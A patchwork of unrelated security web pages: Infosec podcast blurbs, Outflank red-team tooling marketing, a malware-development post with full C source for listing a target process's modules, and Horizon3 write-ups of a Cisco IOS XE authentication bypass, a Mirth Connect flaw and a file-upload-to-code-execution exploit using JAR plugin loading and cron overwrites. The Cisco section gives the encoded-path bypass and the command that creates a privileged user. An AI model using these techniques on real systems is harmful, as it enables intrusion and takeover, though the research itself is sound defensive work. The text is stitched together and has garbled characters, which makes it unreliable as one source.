0:00 - Neurodiversity in cybersecurity 4:00 - How Ian Campbell got into cybersecurity 6:50 - Cybersecurity journey 15:33 - What does a security operations engineer do? 18:37 - Chokepoints of security operations engineer role 20:22 - Supporting people with neurodiverse work and learning 25:50 - What hinders neurodiverse workers in cybersecurity? 30:17 - Altering work culture for neurodiverse workers 39:00 - Neurodivergent traits suited for cybersecurity 42:05 - Benefits of neurodiversity in cybersecurity 48:41 - Promoting communication for neurodiverse workers 52:36 - Positive policies for neurodivergent workers 58:20 - Learn more about DomainTools 1:00:00 - Learn more about Ian Campbell 1:00:23 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Reading Time: 8minutes RANSOMWARE GROUP DETAILS Ryhsida is a ransomware gang that became famous starting from May 2023 after being correlated to a series of high profile cyber attacks in west Europe, north an south America and Australia. The group seems to be linked with the known Threat Actor βVice Societyβ. The team takes his name from a [β¦]
DISCLAIMER β This article is provided for educational and informational purposes only. The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures. The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines. The author and publisher of this article shall [β¦]
Guest AJ Grotto is the William J. Perry International Security Fellow and founding director of the Program on Geopolitics, Technology and Governance at the Stanford Policy Center and Stanford University. Grotto has served in the National Cybersecurity Council under two successive presidents and brings decades of knowledge in international relations, policy and risk both to his students and to clients in his private sector consulting work. Grotto tells us about the current state of international cyber risk and response, gives his tips for students just getting started in international policy and why a suspicious-looking email took him away from the law profession and into the security space.Β
0:00 - National security cyber issues 4:04 - How AJ Grotto got into cybersecurity 7:10 - Grotto's work in the National Security Council 10:25 - Skills used in the National Security Council 14:35 - Working at SagewoodΒ 17:00 - Global trends in cybersecurity 19:00 - Economies down; cyber crime up?Β 20:17 - Cyber risk work at Stanford 23:10 - Cybersecurity students at Stanford 29:46 - How to take Grotto's class at Stanford 31:25 - Federal Zero Trust directives 34:49 - What to research for national security work 38:09 - Important global cybersecurity topics 40:06 - Learn more about Grotto, Stanford international policy 41:07 - OutroΒ Β
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Infosec IQβs director of production, Steve Concotelli comes to us following years working in the movie and TV industry, and his ability to create and craft a great story is at the core of what makes Work Bytes the most award-winning security awareness series on the market! Learn more about Concotelli and the teamβs ability to craft storylines with takeaways that stick, as well as the reasons why we create four different information delivery types to match the pace and time commitments of your workers. Maybe by the end, youβll know which of the fantastical characters I mentioned at the start is most like you! Kick back and enjoy a few engaging minutes with this Cyber Work Hack. And take the Work Bytes Personality Quiz: https://infosec.involve.me/work-bytes-personality-quiz.
0:00 - Film storytelling in cybersecurityΒ 2:48 - How Concotelli moved from Hollywood to Infosec 3:56 - What is Work Bytes? 5:50 - Telling the story of Work Bytes 7:47 - Balancing fun and info 14:07 - What's new in Work Bytes? 19:21 - Big goals for Work Bytes 20:29 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Learn One offers flexibility and everything you need to earn a cert and build your cybersecurity career. Discover more about this value-packed subscription.
Hello, cybersecurity enthusiasts and white hackers!
Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.
Itβs similar to my previous post about enum list of modules, but in this case I used VirtualQueryEx
practical example
First of all, we just use one of the methods to find target process PID. For example I used this one:
typedefNTSTATUS(NTAPI*fNtGetNextProcess)(_In_HANDLEph,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewph);intfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressfNtGetNextProcessmyNtGetNextProcess=(fNtGetNextProcess)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileName((LPCSTR)procName))==0){pid=GetProcessId(current);break;}}returnpid;}
Then, create function which opens a specified process, iterates through its memory regions using VirtualQueryEx, and retrieves information about the loaded modules, including their names and base addresses:
// function to list modules loaded by a specified processintlistModulesOfProcess(intpid){HANDLEph;MEMORY_BASIC_INFORMATIONmbi;char*base=NULL;ph=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,pid);if(ph==NULL)return-1;printf("modules found:\n");printf("name\t\t\t base address\n");printf("=================================================================================\n");while(VirtualQueryEx(ph,base,&mbi,sizeof(mbi))==sizeof(MEMORY_BASIC_INFORMATION)){charszModName[MAX_PATH];// only focus on the base address regionsif((mbi.AllocationBase==mbi.BaseAddress)&&(mbi.AllocationBase!=NULL)){if(GetModuleFileNameEx(ph,(HMODULE)mbi.AllocationBase,(LPSTR)szModName,sizeof(szModName)/sizeof(TCHAR)))printf("%#25s\t\t%#10llx\n",szModName,(unsignedlonglong)mbi.AllocationBase);}// check the next regionbase+=mbi.RegionSize;}CloseHandle(ph);return0;}
As you can see, the code enters a while loop that continues as long as the VirtualQueryEx function successfully retrieves memory information. This loop iterates through memory regions within the target process.
Then checks whether the AllocationBase of the current memory region matches the BaseAddress. This condition ensures that it only focuses on the base address regions. If the conditions are met, it proceeds to retrieve the module name.
if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx function is called to retrieve the module filename associated with the current memory regionβs base address. If successful, it stores the filename in szModName.
If the module name retrieval was successful, the code prints the module name and base address in a formatted manner.
After processing the current region, the base pointer is incremented by the size of the region to check the next region in the subsequent iteration of the loop.
Thatβs all.
So, the full source code is looks like this (hack.c):
/*
* hack.c - get the list of
* modules of the process via VirtualQueryEx. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedefNTSTATUS(NTAPI*fNtGetNextProcess)(_In_HANDLEph,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewph);intfindMyProc(constchar*procname){intpid=0;HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressfNtGetNextProcessmyNtGetNextProcess=(fNtGetNextProcess)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileName((LPCSTR)procName))==0){pid=GetProcessId(current);break;}}returnpid;}// function to list modules loaded by a specified processintlistModulesOfProcess(intpid){HANDLEph;MEMORY_BASIC_INFORMATIONmbi;char*base=NULL;ph=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,pid);if(ph==NULL)return-1;printf("modules found:\n");printf("name\t\t\t base address\n");printf("=================================================================================\n");while(VirtualQueryEx(ph,base,&mbi,sizeof(mbi))==sizeof(MEMORY_BASIC_INFORMATION)){charszModName[MAX_PATH];// only focus on the base address regionsif((mbi.AllocationBase==mbi.BaseAddress)&&(mbi.AllocationBase!=NULL)){if(GetModuleFileNameEx(ph,(HMODULE)mbi.AllocationBase,(LPSTR)szModName,sizeof(szModName)/sizeof(TCHAR)))printf("%#25s\t\t%#10llx\n",szModName,(unsignedlonglong)mbi.AllocationBase);}// check the next regionbase+=mbi.RegionSize;}CloseHandle(ph);return0;}intmain(intargc,char*argv[]){intpid=0;// process IDpid=findMyProc(argv[1]);printf("%s%d\n",pid>0?"process found at pid = ":"process not found. pid = ",pid);if(pid!=0)listModulesOfProcess(pid);return0;}
Then, open target process in the victimβs machine:
And just run our hack.exe:
.\hack.exemspaint.exe
As you can see, everything is worked perfectly! =^..^=
Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.
This code can also help you develop your own script to work with process memory, for example for forensics or other tasks on blue team practical cases.
I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.
When we debuted OST back in 2021, we wrote a blog detailing both the product features and the rationale for investing time into this toolset. In 2022, we joined forces with Fortra and we can hardly believe itβs been over a year already. It was a big decision to go from being a small team of red teamers to becoming part of a large company, but weβre very pleased with the switch. In this reflection on the past 12 months, we want to provide an update on our mission, detail our continued dedication to OST, discuss the process of growing the Outflank community, and touch on where weβre headed next. Β
One of our biggest challenges when we joined Fortra was the decision to put most of our energy into Outflank Security Tooling (OST). Everyone on the team is a dedicated security consultant with years of experience in conducting complex red team engagements, so shifting much of our focus to a product was unfamiliar territory. While there was some initial discomfort, the adjustment was well worth it. We have enjoyed being able to spend much more time on research and development and to be able to create novel new tools that had real value.
A big reason this transition has been so successful is the additional resources and support provided by Fortra, a company that has a strong foothold in the cybersecurity space and is familiar with its challenges, like export controls and quality control. Fortra is particularly well versed in offensive cybersecurity, with multiple solutions that focus on pinpointing risks. With their acquisition of Cobalt Strike, they have already proved that they know how to successfully manage and foster the continued growth of advanced red teaming tools with unique R&D needs.
We have also greatly benefited from having access to extensive knowledge from colleagues in supporting areas like sales, customer support, legal, and marketing. Knowing we can confidently hand off tasks to these experienced teams has allowed us to go full throttle on the technology, of which we remain fully in charge. Additionally, weβve been able to take advantage of the other R&D teams. This is particularly true with Cobalt Strikeβs experts, which weβll go into more detail on later on.
A Fruitful Year: New OST Tools Released
Our increased focus on OST is evident by the steady expansion of the toolset. In the past year alone, weβve added the following new tools and capabilities:
Stage1 v.2: A major overhaul of our C2 framework. It now supports BOFs, Socks proxying, C2 via HTTPS, SMB, raw TCP and files, and many more other features, while keeping the extreme OPSEC focus alive.
Cobalt Strike Integrations: An easy way for operators to make use of custom UDRLs and custom Sleep Masks straight onto their Cobalt Strike payloads.
New EDR Evasion: Super effective techniques embedded in tools such as Payload Generator and Stage1 implant generator. This includes DRIP allocations, ROP gadgets, and stealthy loading techniques.
Hidden Desktop v2: A significant rewrite of Hidden Desktop in BOF format that is stealthier, faster in operation and easier in deployment.
KernelTool and KernelKatz: Uses the power of vulnerable kernel drivers to directly interact with the Windows kernel to scrape credentials and/or modify other processes while EDRs let you through.
EvilClicky: An easy way to abuse ClickOnce functionality.
KerberosAsk: Updated to enhance Rubeus-like Kerberos trickery, in an OPSEC safe and in BOF format.
Expanding the OST Community
This increase in development has progressed us from crawling to walking, but growth in other areas has really made us feel like weβre now keeping a steady running pace.
While weβre working hard on new tool additions, weβve also run multiple knowledge sharing sessions for OST users, covering topics like EDR evasion, Windows Kernel drivers, ClickOnce technique and Stage 1 C2 automation. We have been able to onboard many more red teams. Coupled with the fact that the Outflank team is more available on the Slack community and more red teams are coming to discuss ideas, the OST community is in a way better position that it ever was.
Not Forgetting What Makes Us Outflank
Weβve continued to conduct some trainings and red team engagements this last year, as this remains a core function of Outflank. Not only is it something weβre all passionate about, but it also helps in our development of OST. A critical part of R&D is to stay current on what red teamers are seeing in the wild. Running engagements keep our skills sharp and allow us to keep a pulse on the needs of other red teamers. Β
An Expanding Team of Experts
One of the key factors in choosing to become part of Fortra was the opportunity to work with the Cobalt Strike team. We have used this benchmark product since the inception of Outflank and have designed OST to work both in tandem and together with Cobalt Strike (although OST certainly can be used independent of Cobalt Strike). Becoming coworkers with this welcoming, intelligent team has been as valuable as we hoped it would be. Both products have benefited from having added perspectives and the success of our collaborative efforts are already evident, with new integrations like our custom User Defined Reflective Loaders, custom Sleep Masks and YARA based payload analyses. While our products will remain independent, itβs clear that there are countless possibilities for innovation and alignment that weβre excited to continue to explore.
The Outflank team has also grown. As a small team that relies on effective communication and joint efforts, we carefully considered the potential outcomes of adding new members. We wanted to ensure they were a good fit and that we were adding expertise that would help OST continue to excel. With this in mind, we recently welcomed Tycho Nijon, our first full stack developer who is focusing on broader application development and Kyle Avery, a principal offensive specialist lead who is more focused on specialized research and development. Β
The Ongoing Evolution of OST
Perhaps the biggest takeaway from this past year has been the overwhelmingly positive response from the market. Simply put, many red teams do not have the desire or resources to develop their own tools. At the same time, EDR tools are rapidly becoming more powerful, requiring red teams to double down on their OPSEC. OST fills that gap. Ultimately, we found that modern red teams really require support from beginning to end, from initial access to actions on objectives, from tooling to knowledge. With Outflank being part of Fortra, we are better equipped than ever to deliver solutions to meet these needs. Moving forward, OST customers can expect more Q&As, info sessions, and of course, new tools that expand and simplify red team capabilities.
If youβre interested in seeing all of the diverse offerings in OST, we recommend scheduling an expert led demo.
Learn about OffSec's unique approach to cybersecurity education. Better understand a comprehensive learning ecosystem that emphasizes a continuous cycle of learning, from hands-on offensive techniques to defensive strategies, and join a community dedicated to real-world cybersecurity excellence.
Tomas Smalakys, CTO at NordPass, is today's guest. As our future seems choked with a never-ending need for new passwords of ever-growing complexity for everything we sign up for, Smalakys, along with some large tech organizations, is embracing a post-password future with a system of passkeys. What will it look like? How is it implemented? How will you be able to do this bleeding-edge work in the future? Tune in for todayβs episode of Cyber Work and find out!
0:00 - The future of online passwords 3:43 - Tomas Smalakys' start in cybersecurity 8:40 - Managing software engineers 15:33 - Chief technical officer at NordPass 20:05 - The state of password security 27:22 - Imperfections in two-factor security 42:13 - How to know you've been compromised online 47:55 - The passkey system 1:02:41 - How to work in passwords and passkeys 1:09:05 - Learn more about Smalakys and NordPass 1:10:07 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
The NodeZeroTM platform empowers your organization to reduce your security risk by autonomously finding exploitable weaknesses in your network, giving you detailed guidance about how to prioritize and fix them, and helping you immediately verify that your fixes are effective.
Anna Claiborne from Zayo talks about the spike of DDoS attacks they saw in the past year. Although distributed denial of service (DDoS) attacks trend up nearly every year, new factors around advanced automation and ease of use may be driving the increase. Claiborne takes us back 20 years, when solutions to DDoS attacks involved trying the most far-out solution you could, often for the most far-out clients you could imagine! Seriously, I use the words βWild Westβ to describe early security on a lot of episodes, but Claiborne really gives us some top-notch war stories. Sheβll also let you know where to focus if you want to get started in telecom security, or any of near-infinite industries that would be impacted by telecom shutting down.
0:00 - AI and DDoS attacksΒ 4:20 - How Anna Claiborne got into cybersecurity 8:24 - Claiborne's cybersecurity experiencesΒ 14:10Β - The changes in DDoS attacks 16:55 - Current DDoS escalationsΒ 24:34 - Claiborne's role as a VP 34:25 - Why DDoS attacks have skyrocketed 38:32 - Why DDoS attacks are easier 42:55 - How much is DDoS effective? 44:24 - Tips for countering DDoS 47:16 - Careers involving DDoS attacks 51:09 - Acquire DDoS skills early 56:19 - Learn more about Claiborne and Zayo 57:48 - Outro Β About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Previously, we explored the patch for CVE-2023-20273 and CVE-2023-20198 affecting Cisco IOS XE and identified some likely vectors an attacker might have used to exploit these vulnerabilities. Now, thanks to SECUINFRA FALCON TEAMβs honeypot, we have further insight into these vulnerabilities.
POC
See below for an example request that bypasses authentication on vulnerable instances of IOS-XE. This POC creates a user named baduser with privilege level 15. Letβs dig into the details.
POC
Bad Path Parsing
In our previous post, we theorized that an attacker would somehow need to reach the webui_wsma_http or webui_wsma_https endpoints. The crux of this vulnerability is in the first line of this request POST /%2577ebui_wsma_HTTP. This clever encoding of webui_wsma_http bypasses the Nginx matches discussed in the previous post and allows us to reach the WMSA service in iosd. It is clear now that the Proxy-Uri-Source header added in the patch is intended to prevent attacker from accessing the WSMA service by setting the default header value global and to webui_internal for legitimate requests.
Web Services Management Agent (WMSA)
The Web Service Management Agent, allows you to execute commands and configure the system through SOAP requests. Ciscoβs documentation gives example SOAP requests that we can use to access the configuration feature. From here, we can easily create a new user with privilege level 15 by sending the CLI command username <user> privilege 15 secret <password>. After running the POC, we can check the Administration -> User Administration panel in the UI to see our new user.
Proof of new user
Summary
From here, an attack would use CVE-2023-20273 to elevate to root and write an implant to disk. However, even without CVE-2023-20273, this POC essentially gives full control over the device. Ciscoβs method for fixing this vulnerability seems a bit unconventional. We would have expected them to fix the path parsing vulnerability instead of adding a new header. This makes us wonder if there are other hidden endpoints that can be reached with this method.
Β
Sign up for a free trial and quickly verify youβre not exploitable.
Horizon3.ai, a leading provider of autonomous security solutions, today announced the findings from a commissioned study, βThe Total Economic ImpactTM of the NodeZero Platform, October 2023,β performed by Forrester Consultingβ¦β¦
There has been a lot of news around the recent Cisco IOS XE vulnerabilities CVE-2023-20198 and CVE-2023-2073. Information about this vulnerability was first published by Cisco on October 16th, 2023, and since then we have seen evidence of mass exploitation and implantation. In this post we share our technical insights so far into these vulnerabilities.
Cisco IOS XE Architecture
Cisco has a few different operating systems:
Cisco IOS
Cisco IOS XE (based on Linux)
Cisco NX-OS (based on Linux)
Cisco IOS XR (based on QNX)
ASA OS (based on Linux)
CatOS
Most prior vulnerability research is centered around Cisco IOS. Cisco IOS is a unique operating system that runs as basically one giant binary. In this post, we are focused on Cisco IOS XE which is based on Linux and quite different from IOS. After obtaining the filesystem for a patched and unpatched version of IOS XE we see that the vulnerable webui service is a combination of Nginx and the iosd binary.
Nginx + Lua
Cisco IOS XE uses a version of Nginx called OpenResty. OpenResty extends Nginx by adding support for Lua scripting. This is evident by examining the /usr/binos/conf/webui.conf file:
webui.conf
Here we can see the rewrite_by_lua_block and access_by_lua_block directives which run Lua code during the rewrite and access Nginx phases. Its clear now that the vulnerable webui service is using Nginx. We want to see the entire picture, so we start to look for the root Nginx config file. To our disappointment, we find that root Nginx config is a single line, include /tmp/nginx.conf. Since tmpfs filesystems are generally only available at runtime, we determine that the true Nginx config file must be dynamically generated. Searching for the /tmp/nginx.conf string, we are led to the iosd binary.
grep for nginx.conf
IOSD
iosd is a large monolithic binary. Presumably, when Cisco created IOS XE based on Linux, they wanted to repurpose as much code as possible from IOS. We think that might explain why there is so much functionality packed into iosd. We are unable to get Ghidra to ever finish analyzing iosd, but luckily IDA can handle the job. Examining the strings, of iosd we find that it is indeed be responsible for generating the overall Nginx config.
iosd strings
Based on further exploration of iosd we also see that it is responsible for most of the HTTP related processes in IOS XE. Here, in the cli, we can see a summary of the different HTTP modules managed by iosd.
http server session modules
The Patch
There are quite a few differences we see comparing the patched and unpatched filesystems. We will first focus on the differences we think are related to CVE-2023-20198, the vulnerability used to create a user with level 15 privileges.
Proxy-Uri-Source Header
The first patch we are drawn to is in WSMAApiLib.lua which is used to interact with the backend wsma service listed above. We see that Cisco added a new header to an internal request they make in WSMASendCommand.
WSMASendCommand
Tracing the callers of WSMASendCommand we find that there are indeed ways to configure a new user with this function. However, all paths that we find require authentication so far.
We also notice that iosd is updated to set the same Proxy-Uri-Source header in the server handlers of the Nginx config.
iosd Proxy-Uri-Source header
We also notice that one of the HTTP handlers in iosd has added a check to make sure that the Proxy-Uri-Source is set to webui_internal.
iosd Proxy-Uri-Source check
Our Current Theory
Based on these changes, our theory is that Cisco is trying to enforce that all access to the wsma services go through WSMASendCommand which requires authentication. Based on the Niginx config changes in iosd, is seems like there might have been a way to hit the wsma service through another service in iosd and by setting the Proxy-Uri-Source header to global for all requests outside of WSMASendCommand, they are effectively implementing a kind of authentication.
There are quite a few HTTP services in iosd, some require authentication and some do not. However, we have not been able to find a way yet to redirect to the wsma services in an unauthenticated manner. The size of the iosd binary has prevented us so far from running bindiff.
Other Changes
There are a few other changes in the patch diff that we think are probably related to CVE-2023-20273, the vulnerability used to write the implant to disk. There is a change to how they handle IPv6 string validation that mentions the vulnerability in a comment specifically referencing the Cisco bug ID for these 0-days. It comments:
βAs a cardinal rule for any validation or check, assume the input is invalidβ.
The previous version of the function uses the less secure assumption that unless it violates some specific checks, that it is a valid IPv6 address. Now, the function assumes it is invalid unless passing a more thorough set of checks.
IPv6 validation change
This function is called from a few different places that all require authentication. It allows us to pass validation with invalid IPv6 strings.
Invalid IPv6 string
There is also a fix for what seems to be a logic bug in softwareUpdateUtils.lua.
softwareUpdateUtils.lua logic bug
TL:DR Exploit Theory Crafting
There are two main observable changes:
A new custom header, βProxy-Uri-Sourceβ, is set in the Nginx configs and checked in the iosd binary before allowing access to the wsma endpoints
The attacker has discovered a method to pass requests to the wsma endpoints without control of the forwarded headers
The wsma endpoints expects an XML payload and will execute any arbitrary IOS CLI command in it
Updates to IPv6 address validation which is utilized in builtin software install functionality in endpoints like /webui/rest/upgrade or via wsma
The attacker has discovered a way to write and execute arbitrary files by abusing this validation failure
The software install vector also corresponds with the observed IOC in the Talos blog
Next steps would include reverse engineering the different HTTP endpoints in iosd in search of a way to hit the wsma service in an way that doesnβt require or bypasses authentication. Hopefully this information can help other researchers uncover and reproduce these vulnerabilities.
Β
Sign up for a free trial and quickly verify youβre not exploitable.
Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability, CVE-2023-43208. If youβre a user of Mirth Connect, youβll want to upgrade to the latest patch release, 4.4.1, as of this writing.
Background
A few months ago, we came across an unauthenticated remote code execution vulnerability, CVE-2023-37679, affecting Mirth Connect that was reported by IHTeam. Mirth Connect is an interesting application for us at Horizon3.ai because a number of our clients are in the healthcare space and use this application. Healthcare companies are commonly targeted by ransomware threat actors, and this application has decent exposure on the Internet (about 1200+ unique hosts).
CVE-2023-37679 was reported to be fixed in Mirth Connect 4.4.0. In the release notes for 4.4.0, it was reported as only affecting Mirth Connect installs running on Java 8 or below. This caught our attention (why only Java 8?), and we started digging. We found that in fact, all installs of Mirth Connect, regardless of the Java version, were vulnerable. We also found that the patch for CVE-2023-37679 could be bypassed. We subsequently reported a new vulnerability to NextGen, tracked as CVE-2023-43208. The fix for CVE-2023-43208 is in 4.4.1.
Impact
This is an easily exploitable, unauthenticated remote code execution vulnerability. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data.
We are not releasing an exploit at this time, but the methods for exploitation (involving Java XStream) are well known and documented. We have verified that Mirth Connect versions going as far back as 2015/2016 are vulnerable.
On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user. Hereβs an example of exploiting this vulnerability to run the ping command on a Windows host:
Detection
The version of the Mirth Connect server can be determined as follows:
Oliver Tavakoli from VectraAI returns to the program to talk about β surprise! β AI! Having talked about Tavakoli's origin story on the past episode, weβre free to dig right into his main area of interest: the ways in which generative AI can be used by bad actors, whether introducing conflicting messages into GPT guardrail commands or escalating the nuance and complexity of fake-based social engineering attacks. We talk about long-term implications of this emerging tech opportunity, ways for new professionals to get comfortable with its requirements quickly, and Tavakoli lets us know what this βsummer of AIβ will mean for the coming years, and also why its endless innovation may cool for a few years, and thatβs OK.
0:00 - Generative AI and bad actors 4:20 - Big changes for generative AI in 2020 7:11 - Example of an AI attack 15:30 - AI as a tool versus an intelligence 17:10 - Solutions with AI 22:47 - How AI will affect cybersecurity careers 32:18 - How does AI hurt your career? 38:40 - Job roles in cybersecurity that may become niche 40:40 - The year of AI? 43:25 - How to talk about AI 45:40 - What is VectraAI? 48:25 - Learn more about Tavakoli and VectraAI 49:30 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
This article is in no way affiliated, sponsored, or endorsed with/by Visualware, Inc. All graphics are being displayed under fair use for the purposes of this article.
Revisiting an Old Bug: File Upload to Code Execution
A colleague recently contacted me about a bug I discovered a couple of years ago (CVE-2021-27198). The vulnerability was an unauthenticated arbitrary file upload issue in version 11.0 to 11.0b of the Visualware MyConnection Server software. At the time I hadnβt actually proven remote code execution even though I rated it as critical. So when my colleague asked me how I exploited it, I felt like I had to show it was possible. This endeavor proved to be both challenging and enlightening so I thought Iβd share the experience.
The MyConnection Server software is coded in Java and intended to work seamlessly across different platforms. In this case, the arbitrary file write was privileged, granting the file server elevated permissions, with SYSTEM on Windows and root on Linux. With a privileged file write, achieving code execution is often straightforward. This post by Doyensec outlines the most common approaches, which can be broadly categorized into two groups: web application-specific and operating system-specific. Web application-specific methods involve seeking ways to initiate execution within the web server process. Examples include uploading web framework configuration files or web application source code. On the other hand, operating system-specific techniques involve finding execution triggers controlled by the operating system itself, such as services, scheduled tasks, cron jobs, and so on.
Regrettably, in the case of this particular bug, I cannot directly target the web server itself since itβs a pure Java implementation, as opposed to using a web server framework like Apache or Nginx. As a result, our focus will primarily shift towards exploring operating system-specific possibilities or more innovative approaches.
Windows RCE
With this in mind, I began researching possible techniques for achieving code execution solely through a file write. In the Windows environment, my usual strategy would involve targeting vulnerable applications susceptible to traditional DLL hijacking or phantom DLL hijacking, leveraging the privilege granted by such writes.
I opened up Sysinternals Procmon tool and began looking for βNAME NOT FOUNDβ or βPATH NOT FOUNDβ results for CreateFile. I usually look for instances of executables or DLLs. While looking through the results, I noticed that every minute the MCS java process is attempting to open several βrtapluginβ JAR files, some of which do not exist.
Based on the output, it looks like the server is dynamically loading these JARs from disk into the java process. If this is the case, I may be able to get arbitrary code execution by simply placing a custom JAR file in a specific place on the file system. I decided to open up the MCS JAR in JD-GUI to investigate.
When I searched for βrtapluginβ, I found a class named RTAPlugin that has a function that appears to load a file from disk, create a custom ClassLoader, loads a class from the file, and then creates a new instance of the class. This is exactly what I need!
To confirm execution, I created a simple POC that executes calc.exe when an instance of the class is created.
I then just manually copied the JAR into the appropriate directory to see if it was loaded. I was thrilled to see that it worked! Now I just needed to test it using the file upload vulnerability.
I loaded up Burp and pasted in the JAR file as the body of the file upload request. Unfortunately when I sent it over, I didnβt see calc.exe in the process list.
When I opened up the log file for the MyConnection server, I found the following exception was thrown when attempting to unzip the JAR.
I took the original JAR payload and diff-ed it against the one that was uploaded into the rtaplugin directory. I found that certain bytes were getting corrupted. I opened up JD-GUI again to take a closer look at the code that performed the file write.
What wasnβt immediately obvious (at least to me) was that there was an implied encoding/decoding that was happening with the calls to String.valueOf and String.getBytes. As a result, certain ranges of bytes were getting corrupted. On Windows I found that bytes between 0x80 and 0x9f were being replaced with other values. This meant I had to do some bit fiddling to get the payload to work.
After doing a little bit of googling, I found a CTF writeup by Yudai Fujiwara that faced a similar encoding problem. The writeup provided code for generating a zip file that only contained bytes in the ASCII range, 0x0 β 0x7f. The script primarily focused on two structures in the zip protocol that needed to be free of non-ascii bytes, the CRC for zipped files, and any length fields.
The script brute-forces a valid ASCII value for the CRC field by iteratively modifying the inner file. In the CTF challenge, the zipΒ contained an ASCII script, whereas a JAR contains a binary class file. I updated the algorithm to perform a similar modification to the Java source, and then recompile the Java class file on each iteration to make the CRC update.
Copy to Clipboard
After creating the ascii-zip payload, I uploaded it using the vulnerable endpoint. As hoped, it was loaded and executed as SYSTEM on the target server. To keep from having to recompile a JAR to execute different commands, I generated a JAR that would execute a script at a known location. I could then separately upload that script with a new command whenever I wanted command execute. I added the βsetExecutableβ directive to ensure it worked on Linux as well.
Linux RCE
When dealing with Linux-based operating systems, one of the primary challenges when exploiting arbitrary file write vulnerabilities is ensuring that file permissions are correctly configured. Even if a file is executed, it wonβt function if it isnβt marked as executable. To overcome this obstacle, I am targeting files that already have the execute bit set.
As I had anticipated, demonstrating exploitation on Linux turned out to be quite straightforward by simply overwriting scripts within the /etc/cron.* directories. On Red Hat distributions, you can achieve relatively timely execution by overwriting the /etc/cron.hourly/0anacron script. The drawback to targeting cron jobs is there is no guarantee specific scripts exist, and overwriting them can cause system instability.
Assuming outbound network connectivity isnβt blocked, a simple reverse shell is likely the simplest payload to put in the cron job. If that doesnβt work, the cron job can be modified to contain a base64 encoded copy of the unmodified rtaplugin JAR that is then copied to the correct directory. The same technique as described above can then be used to get repeated code execution by uploading different versions of the script to/tmp/b.bat.
No License, No Wurk!
